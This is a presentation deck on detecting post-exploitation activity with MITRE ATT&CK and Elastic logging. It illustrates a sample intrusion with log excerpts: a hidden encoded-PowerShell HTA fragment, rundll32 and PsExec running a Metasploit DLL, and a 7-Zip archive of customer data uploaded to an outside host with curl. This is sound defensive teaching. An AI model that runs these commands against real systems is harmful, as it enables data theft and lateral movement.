Post-Exploitation Hunting with ATT&CK & Elastic
WHO AM I?

• John Hubbard
  • @SecHubb

• SOC Lead at GlaxoSmithKline

• SANS Instructor
  • SEC511: Continuous Monitoring & Security Operations
  • SEC555: SIEM with Tactical Analytics

• Mission: Bring awesome back to the blue team!
MODERN DEFENSE MINDSET

- Presumption of Compromise
- Detection Oriented Defense
- Hunt Teams Required
- Post-Exploitation Focus

"Prevention is ideal, detection is a must"
MODERN DEFENSE CHALLENGES

Hunting post-exploitation requires **visibility**

1. **How** do I collect logs?
2. **Which** logs do I collect?
3. How do I **parse** and **enrich** my logs?
4. **What do I look for** in this mountain of data?
HOW DO I COLLECT LOGS?
WHAT IS THE ELASTIC STACK?

- Elasticsearch, Logstash, Kibana
- **Beats** platform
  - Winlogbeat, Filebeat, Packetbeat, Auditbeat
- **X-Pack** (Commercial Elasticsearch plugin)
  - Security, Alerting, Monitoring, Reporting
  - Graph, Machine Learning
- Can **supplement** your current SIEM!
ADDING ELASTIC/LOGSTASH TO YOUR SIEM

Enrichment

Tactical SIEM

High value only

Collect it all

Compliance SIEM

STILL WAITING
ELASTICSEARCH AS A SIEM

- Collects, parses, enriches logs at high volume
- Fast and functional visualizations and dashboards
- Reporting, alerting, correlation
- Machine learning, Graph Analytics
- Horizontal scaling
- FOSS, commercial support / features
- Active community, 3rd party plugin friendly
WHICH LOGS SHOULD I COLLECT?
WINDOWS LOGS

- **VISIBILITY** required
- Security, System, Application
- Sysmon
- PowerShell
- Autorun items
- AppLocker
- Audit
HOST LOGS

- Beats
- NXLog
- Windows Event Forwarding
- Syslog, Rsyslog, Syslog-NG
- Scripts / Scheduled jobs
CATCHING WINDOWS POST-EXPLOITATION

- Authentication
- Windows - Sysmon
  - SwiftOnSecurity's config file
  - Process Creation
  - Network connections from suspicious processes
  - Registry keys for startup
- **Process creation** auditing
- **Autoruns** scripted
- Whitelisting Detections & Preventions
- **PowerShell**
NETWORK LOGS

- **DNS**
  - Windows - dns.log or analytic logging
  - Network Extraction - **Bro**

- **HTTP**
  - NGFW / Proxy
  - Network Extraction - **Bro**

- **SSL** Certs - **Bro**

- **NetFlow** - or **Bro**

- **Firewall**

- **HIDS**

- **Full PCAP** – Security Onion (comes with **Bro**!)

---

elasticsearch
NETWORK POST-EXPLOITATION EVIDENCE

- Command & Control (Layer 7 \textit{REQUIRED})
- Unexpected internal to internal traffic
- Executables
- SSL Certificates
- Password spraying, guessing, brute forcing
- Network share & user scanning
LOG AGGREGATION - LOGSTASH

- Flexible input/output/enrichment options
- Buffer and backpressure capable
- CSV, XML, Key-Value, JSON make parsing automatic
- Enrichment adds context: domain_stats, freq, ASN, GeoIP, OUI, REST

http://www.earthporm.com/people-turned-log-piling-art-form/
Collect high-value host and network logs

Enrich logs to reduce false positives

Host visibility + Network visibility

Attackers live off the land / use custom tools

Attackers use all protocols, must see layer 7
WHAT DO I LOOK FOR?
WHAT IS MITRE ATT&CK?

- Complete "what to look for"
- Threat model & framework
- Models attacker activity (TTPs)
- Post-compromise behavior list
- Multiple parts
  - PRE-ATT&CK
  - ATT&CK Mobile
  - ATT&CK - Windows / Mac / Linux
<table>
<thead>
<tr>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Execution</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command and Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>DLL Search Order Hijacking</td>
<td>Brute Force</td>
<td></td>
<td></td>
<td>Account Discovery</td>
<td>Windows Remote Management</td>
<td>Automated Collection</td>
<td>Automated Exfiltration</td>
<td>Commonly Used Port</td>
<td>Communication Through Removable Media</td>
</tr>
<tr>
<td>Legitimate Credentials</td>
<td></td>
<td></td>
<td></td>
<td>Application Window Discovery</td>
<td>Third-party Software</td>
<td>Command-Line</td>
<td>Data Staged</td>
<td>Data Compressed</td>
<td>Custom Command and Control Protocol</td>
</tr>
<tr>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td></td>
<td></td>
<td>File and Directory Discovery</td>
<td>Exploitation of Vulnerability</td>
<td>InstallUtil</td>
<td>Data from Local System</td>
<td>Data Encrypted</td>
<td>Custom Cryptographic Protocol</td>
</tr>
<tr>
<td>AppInit DLLs</td>
<td>Code Signing</td>
<td></td>
<td></td>
<td>Local Network Configuration Discovery</td>
<td>Logon Scripts</td>
<td>PowerShell</td>
<td>Data from Network Shared Drive</td>
<td>Exfiltration Over Alternative Protocol</td>
<td>Data Transfer Size Limits</td>
</tr>
<tr>
<td>Local Port Monitor</td>
<td>Component Firmware</td>
<td>Binary Padding</td>
<td></td>
<td>File and Directory Discovery</td>
<td>Exploitation of Vulnerability</td>
<td>InstallUtil</td>
<td>Data from Network Shared Drive</td>
<td>Exfiltration Over Alternative Protocol</td>
<td>Custom Command and Control Protocol</td>
</tr>
<tr>
<td>New Service</td>
<td>DLL Side-Loading</td>
<td></td>
<td></td>
<td>Credentials in Files</td>
<td>Local Network Connections Discovery</td>
<td>Pass the Hash</td>
<td>Data from Removable Media</td>
<td>Exfiltration Over Command and Control Channel</td>
<td>Data Obfuscation</td>
</tr>
<tr>
<td>Path Interception</td>
<td>Disabling Security Tools</td>
<td></td>
<td></td>
<td>Input Capture</td>
<td>Local Network Connections Discovery</td>
<td>Pass the Ticket</td>
<td>Regsvcs / Regasm</td>
<td>Exfiltration Over Other Network Medium</td>
<td>Fallback Channels</td>
</tr>
<tr>
<td>Scheduled Task</td>
<td></td>
<td></td>
<td></td>
<td>Network Sniffing</td>
<td>Local Network Connections Discovery</td>
<td>Replication Through</td>
<td>Email Collection</td>
<td>Exfiltration Over Other Network Medium</td>
<td>Multi-Stage Channels</td>
</tr>
<tr>
<td>Service File Permissions Weakness</td>
<td></td>
<td></td>
<td></td>
<td>File Deletion</td>
<td>Local Network Connections Discovery</td>
<td>Screen Capture</td>
<td>Input Capture</td>
<td>Exfiltration Over Physical Medium</td>
<td>Multiband Communication</td>
</tr>
<tr>
<td>Service Registry Permissions Weakness</td>
<td></td>
<td></td>
<td></td>
<td>File System Logical Offsets</td>
<td>Local Network Connections Discovery</td>
<td>Remote Services</td>
<td>Scripting</td>
<td>Exfiltration Over Physical Medium</td>
<td>Multilayer Encryption</td>
</tr>
<tr>
<td>Web Shell</td>
<td></td>
<td></td>
<td></td>
<td>Two-Factor Authentication Interception</td>
<td>Network Service Scanning</td>
<td>Remote File Copy</td>
<td>Scheduled Task</td>
<td>Exfiltration Over Physical Medium</td>
<td></td>
</tr>
<tr>
<td>Basic Input/Output System</td>
<td></td>
<td></td>
<td></td>
<td>Exploitation of Vulnerability</td>
<td>Bypass User Account Control</td>
<td>Permission Groups</td>
<td>Replication Through</td>
<td>Scripting</td>
<td></td>
</tr>
</tbody>
</table>
HOW DO I READ IT?

- **Tactics** across the top
  - What the techniques accomplish

<table>
<thead>
<tr>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accessibility Features</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Manipulation</td>
</tr>
<tr>
<td>AppInit DLLs</td>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td>Brute Force</td>
</tr>
<tr>
<td>Application Shimming</td>
<td>AppInit DLLs</td>
<td>Bypass User Account Control</td>
<td>Create Account</td>
</tr>
<tr>
<td>Authentication Package</td>
<td>Application Shimming</td>
<td>Code Signing</td>
<td>Credential Dumping</td>
</tr>
<tr>
<td>Bootkit</td>
<td>Bypass User Account Control</td>
<td>Component Firmware</td>
<td>Credentials in Files</td>
</tr>
<tr>
<td>Change Default File Association</td>
<td>DLL Injection</td>
<td>Component Object Model Hijacking</td>
<td>Exploitation of Vulnerability</td>
</tr>
<tr>
<td>Component Firmware</td>
<td>DLL Search Order Hijacking</td>
<td>DLL Injection</td>
<td>Input Capture</td>
</tr>
</tbody>
</table>
### How Do I Read It?

- **Tactics** across the top
  - What the techniques accomplish
- **Techniques** in each column
  - All known ways of accomplishing that tactic

<table>
<thead>
<tr>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accessibility Features</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Manipulation</td>
</tr>
<tr>
<td>AppInit DLLs</td>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td>Brute Force</td>
</tr>
<tr>
<td>Application Shimming</td>
<td>AppInit DLLs</td>
<td>Bypass User Account Control</td>
<td>Create Account</td>
</tr>
<tr>
<td>Authentication Package</td>
<td>Application Shimming</td>
<td>Code Signing</td>
<td>Credential Dumping</td>
</tr>
<tr>
<td>Bootkit</td>
<td>Bypass User Account Control</td>
<td>Component Firmware</td>
<td>Credentials in Files</td>
</tr>
<tr>
<td>Change Default File Association</td>
<td>DLL Injection</td>
<td>Component Object Model Hijacking</td>
<td>Exploitation of Vulnerability</td>
</tr>
<tr>
<td>Component Firmware</td>
<td>DLL Search Order Hijacking</td>
<td>DLL Injection</td>
<td>Input Capture</td>
</tr>
</tbody>
</table>
**HOW DO I READ IT?**

- **Tactics** across the top
  - What the techniques accomplish
- **Techniques** in each column
  - All known ways of accomplishing that tactic
- **Note:** Techniques CAN belong to more than 1 Tactic
- **Clickable**
  - Detections and mitigations

<table>
<thead>
<tr>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accessibility Features</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Manipulation</td>
</tr>
<tr>
<td>Application Shimming</td>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td>Brute Force</td>
</tr>
<tr>
<td>Application Shimming</td>
<td>AppInit DLLs</td>
<td>Bypass User Account Control</td>
<td>Create Account</td>
</tr>
<tr>
<td>Authentication Package</td>
<td>Application Shimming</td>
<td>Code Signing</td>
<td>Credential Dumping</td>
</tr>
<tr>
<td>Bootkit</td>
<td>Bypass User Account Control</td>
<td>Component Firmware</td>
<td>Credentials in Files</td>
</tr>
<tr>
<td>Change Default File Association</td>
<td>DLL Injection</td>
<td>Component Object Model Hijacking</td>
<td>Exploitation of Vulnerability</td>
</tr>
<tr>
<td>Component Firmware</td>
<td>DLL Search Order Hijacking</td>
<td>DLL Injection</td>
<td>Input Capture</td>
</tr>
</tbody>
</table>
Tactics vs. Techniques

Tactics – The “What”
- Persistence
- Privilege Escalation
- Credential Access
- Lateral Movement
- Command & Control
- Exfiltration

Techniques – The “How”
- Bootkit
- UAC Bypass
- Credential Dumping
- Pass the Hash
- Custom Protocol
- Exfil over Cmd. & Ctrl.
WHY IS IT IMPORTANT?

It tells you this piece

- Tough!
- Challenging
- Annoying
- Simple
- Easy
- Trivial

WHY IS IT IMPORTANT?

- AWESOME blue team checklist!
  - High level analytics
  - Most dangerous events to miss
  - Objectively measures your defense!
- Ask:
  - Which can you actually detect?
  - What techniques pose the most risk?
  - Do those two overlap?
Post-Exploit Techniques

Things we can detect

Oh crap...
Post-Exploit Techniques

Things we can detect

Becomes

Blue Team
HOW TO IMPLEMENT IT

- Quantify detection levels
- Write new analytics, track progress
- Demonstrate improvement
- Prove it with red teaming
  - Red Canary atomic-red-team
  - NSA Unfetter Project
- Rinse, Detect, Repeat
We assume compromise…

What would attacker do?
- ATT&CK Tactics

How would they do it?
- ATT&CK Techniques

Example Story: Malicious doc in email
- Macro was run, now what?
**TACTIC: PERSISTENCE**

- Item #1 for attackers
- ATT&CK techniques:
  - New Service
  - Scheduled Task
  - Registry Run Keys / Start Folder …
- Visible in Windows / Sysmon logs
  - **New Service** = Event ID 7045
  - **Schedule Task** = Event ID 4698
  - **Registry Run Keys / Start Folder** = Sysmon Event ID 13
  - **Least frequency of occurrence** analysis w/ Kibana
### TECHNIQUE: REGISTRY RUN KEY

Table showing event data with highlighted values:

<table>
<thead>
<tr>
<th>Time</th>
<th>event_data.TargetObject</th>
<th>event_data.Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>September 3rd 2017, 09:06:27.154</td>
<td>HKU\S-1-5-21-3463664321-2923530833-3546627382-1000\Software\Microsoft\Windows\CurrentVersion\Run\neUUHyTOcW</td>
<td>C:\Users\IEUser\AppData\Local\Temp\SCYjVUnvpV.vbs</td>
</tr>
</tbody>
</table>
"I'm safe, I use AppLocker!"

ATT&CK Techniques:
- Rundll32, RegSvr32
- PowerShell, Scripting

What do these have in common?
- Whitelisting bypass!

How to find:
- Process creation logs
- PowerShell logs
- Sysmon logs
  - Writing files in odd locations
  - ImageLoad events (if active)
- AppLocker 8002/8003
  - If DLL Rules turned on
Technique: Scripting + Powershell

```vbnet
<script language="VBScript">
window.moveTo(-4000, -4000)
Set k0ovC = CreateObject("Wscript.Shell")
Set dMO2BNvEvI = CreateObject("Scripting.FileSystemObject")
If dMO2BNvEvI.FileExists(k0ovC.ExpandEnvironmentStrings("%PSModulePath%") + ".\powershell.exe") Then
    k0ovC.Run "powershell.exe -nop -w hidden -e 
```
**TECHNIQUE: RUNDLL32**

<table>
<thead>
<tr>
<th>t computer_name</th>
<th>IE11Win7</th>
</tr>
</thead>
<tbody>
<tr>
<td>t event_data.CommandLine</td>
<td>rundll32</td>
</tr>
<tr>
<td></td>
<td>c:\Users\IEUser\AppData\Local\Temp\metasploit.dll DllMain</td>
</tr>
<tr>
<td>t event_data.CurrentDirectory</td>
<td>C:\Users\IEUser\Downloads\</td>
</tr>
<tr>
<td>t event_data.Hashes</td>
<td>MD5=C648901695E275C8F2AD04B687A68CE2, SHA256=3FA4912EB43FC304652D7B01</td>
</tr>
<tr>
<td>t event_data.Image</td>
<td>C:\Windows\System32\rundll32.exe</td>
</tr>
</tbody>
</table>

8,003 Microsoft-Windows-App Locker/EXE and DLL %OSDRIVE%\USERS\IEUSER\APPDATA\LOCAL\TEMP\METASPLOIT.DLL

was allowed to run but would have been prevented from running if the AppLocker policy were enforced.

Upgrade to meterpreter - Caught Twice!
**TECHNIQUE: POWERSHELL**

<table>
<thead>
<tr>
<th>Image</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</td>
<td>17</td>
</tr>
<tr>
<td>C:\Users[User]Downloads\SysInternalsSuite\PsExec.exe</td>
<td></td>
</tr>
<tr>
<td>C:\Users[User]Downloads\Autoruns.exe</td>
<td></td>
</tr>
<tr>
<td>C:\Windows\System32\rundll32.exe</td>
<td></td>
</tr>
</tbody>
</table>

**PowerShell network connections, let's investigate**
Execution tactic pivoting uncovers **Tactic: Credential Access!**
TACTIC: LATERAL MOVEMENT...
Finding the pivot – mimikatz was run…

**Remote File Copy + Windows Admin Shares**

**Search for Administrator in command line**
- Shared Administrator account – "net use" to move DLL
- PsExec to remotely run the DLL

```
event_data.CommandLine: *Administrator*
```

```
CommandLine: PsExec.exe \AdminPC -u AdminPC\Administrator "c:\windows\system32\rundll32 c:\users\administrator\metasploit.dll,DllMain"
```

```
September 2nd 2017, 21:39:34.023 beat.hostname: IEL1Win7 beat.name: IEL1Win7 beat.version: 5.5.2 computer_name: IEL1Win7 event_data_category: c:\Users\IEUser\Downloads\SysinternalsSuite\ event_data.Hashes: MD5=27304B246C70B4E149124D5F93C5B01,SHA256=3337E3875B05E0BFBA69A9E8CFFB162E93CCE28A0281437A7EF event_data.Image: C:\Users\IEUser\Downloads\SysinternalsSuite\PsExec.exe event_data.IntegrityLevel: Medium
```
TACTIC: EXFILTRATION
TECHNIQUE: DATA COMPRESSED/ENCRYPTED

<table>
<thead>
<tr>
<th>user.name</th>
<th>message</th>
</tr>
</thead>
<tbody>
<tr>
<td>Administrator</td>
<td>%OSDRIVE%\USERS\ADMINISTRATOR\METASPLOIT.DLL was allowed to run.</td>
</tr>
</tbody>
</table>

What was done...

```
02:57:56.207  tree /F

03:03:25.969  "c:\Program Files\7-Zip\7z.exe" a .photos.7z
               Desktop\customer-data.txt -p7890UIOP1234asdf

03:51:14.171  curl --limit-rate 150K -F "upload=@c:\users\administrator\photos.7z" mydatadropbox.biz
```

metasploit.dll
beat.hostname: "AdminPC"
TACTIC: COMMAND AND CONTROL
ATTACK SUMMARY

1. VBS set to autostart in registry (Persistence)
2. VBS ran encoded PowerShell (Execution)
3. Download & ran Meterpreter via RunDLL32 (Execution)
4. Used PowerShell based Mimikatz (Cred. Access)
5. Scanned with credentials (Lateral Movement)
6. Pivoted to Admin Desktop via $admin (Lateral Mvmt.)
7. Compressed/Encrypted and Exfil'd data (Exfil)
8. Used DNS Tunneling (Command and Control)

Caught it all!
WHICH COMMANDS ARE USED MOST?

- MITRE ATT&CK
- Japan CERT “Commands abused by attackers”
  - [http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html](http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html)

<table>
<thead>
<tr>
<th>Ranking</th>
<th>Command</th>
<th>Times executed</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>at</td>
<td>103</td>
</tr>
<tr>
<td>2</td>
<td>reg</td>
<td>31</td>
</tr>
<tr>
<td>3</td>
<td>wmic</td>
<td>24</td>
</tr>
<tr>
<td>4</td>
<td>wusa</td>
<td>7</td>
</tr>
<tr>
<td>5</td>
<td>netsh advfirewall</td>
<td>4</td>
</tr>
<tr>
<td>6</td>
<td>sc</td>
<td>4</td>
</tr>
<tr>
<td>7</td>
<td>rundll32</td>
<td>2</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Ranking</th>
<th>Command</th>
<th>Times executed</th>
<th>Option</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>dir</td>
<td>62</td>
<td>/domain</td>
</tr>
<tr>
<td>2</td>
<td>net user</td>
<td>21</td>
<td>/domain /add</td>
</tr>
<tr>
<td>3</td>
<td>net view</td>
<td>9</td>
<td>/domain</td>
</tr>
<tr>
<td>4</td>
<td>ping</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>net localgroup</td>
<td>4</td>
<td>/add</td>
</tr>
<tr>
<td>6</td>
<td>tree</td>
<td>3</td>
<td>/F</td>
</tr>
<tr>
<td>7</td>
<td>type</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>net group</td>
<td>1</td>
<td>/domain</td>
</tr>
<tr>
<td>9</td>
<td>tasklist</td>
<td>29</td>
<td>/m /svc</td>
</tr>
<tr>
<td>10</td>
<td>whoami</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>11</td>
<td>ipconfig</td>
<td>5</td>
<td>/all</td>
</tr>
<tr>
<td>12</td>
<td>net start</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>13</td>
<td>netstat</td>
<td>3</td>
<td>-ano</td>
</tr>
<tr>
<td>14</td>
<td>nslookup</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>15</td>
<td>ver</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>16</td>
<td>time</td>
<td>1</td>
<td>/t</td>
</tr>
</tbody>
</table>
**REVIEW**

- Collected *high-value host* and *network* data
- **Filtered, parsed, and enriched** logs using *Elastic stack*
- **Quantified** defense to management
- Hunt team:
  - Implemented *MITRE ATT&CK analytics*
  - Looked for signs attacker is already in environment
  - **Would have caught every stage** of an attack in multiple ways
- Most importantly: **Stopped a wildly expensive breach!**
TAKEAWAYS

- Focus on **post-exploitation** detection with **hunt team**
- Focus on **high-value** log sources and events
- Eliminate false positives with **enrichment** enabled by Elastic
- Let **ATT&CK** guide your analytics
- **Quantify and track** detection capability
- Test it, incentivize to constantly improve
- This setup = **Incredible detection superpower!!**